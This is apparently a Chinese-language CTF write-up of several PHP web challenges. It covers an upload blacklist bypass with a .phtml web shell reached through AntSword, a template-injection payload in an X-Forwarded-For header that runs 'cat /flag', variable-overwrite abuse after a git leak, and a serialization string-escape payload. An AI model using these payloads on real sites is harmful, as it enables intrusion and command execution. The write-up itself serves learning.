ACTF upload

123.png
看到个上传页面 随便传了一下发现是只支持图像格式,想到可以用phtml绕过黑名单,老办法抓包
123.png
修改jpg为phtml 上传成功
123.png
蚁剑连接 getflag!
123.png

BJDCTF2020 the mystert of ip

123.png
看到ip 想到ip这个是可控的 因为我们可以用 XFF 或者是Client来写东西,经师傅提醒 我们burp抓包 在头处修改并进行读flag
222.png
payload :127.0.0.1{{system('cat /flag')}}
1111.png

[BJDCTF2020]Mark loves cat

test.png
打开是一个这样的前端,扫目录,发现存在git泄漏 直接用githack脚本梭一发
123.png
发现index.php存在这样的文件
123.png
一看到$$就知道,应该是变量覆盖漏洞
demo
$a = "hello";
$$a = 'world';
echo $a ${$a}和 echo $a $hello 结果是一样的
我们一步一步看代码

foreach($_POST as $x => $y){
    $$x = $y;
}

post:$flag=flag
这样就变成了$$flag = flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

GET:?yds=flag
$x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
只要没有flag参数,就会exit($yds),就可以得到flag了。

12323.png
构造之后 get flag
213.png

2019极客大挑战又来一只猫

详见我的文章:浅尝php反序列化漏洞

[安洵杯 2019]easy_serialize_php

123.png
看眼代码
f可以选择三个参数:
1.highlight_file
2.phpinfo,并且提示may find sth
3.show_image,会把$_SESSION[img]中的东西base64解码然后显示出来
提示可以在phpinfo里面找一些东西
123.png
在这里面发现个奇怪的东西
注意到有一个
extract($_POST)
想到可能是变量覆盖漏洞,到这里自己知道应该是个反序列化的题,没了思路,上网找下师傅的wp发现
假设我们利用变量覆盖post一个:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}

序列化_SESSION后的数应该是:

a:3:{s:4:“user”;s:24:“flagflagflagflagflagflag”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}

注意这里有2个img,一个是d0g3_f1ag.php,一个是由于我们没传img_path,默认为guest_img.png

过滤后将这6个flag字符串替换为空:

a:3:{s:4:“user”;s:24:"";s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}

这样就导致少了24个字符,就会继续往后拿24个字符:";s:8:“function”;s:59:"a

a:3:{s:4:“user”;s:24:"";s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}

由于该序列化开头为a:3,也就是有3个键值对,分别为:
user: ";s:8:“function”;s:59:"a
img: ZDBnM19mMWFnLnBocA==
dd: a
到此序列化就完整了,后面多出来的
";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
被视为多余的字符而被丢弃,所以img也就成功被我们写入了ZDBnM19mMWFnLnBocA==

自己还是tcl 学习一波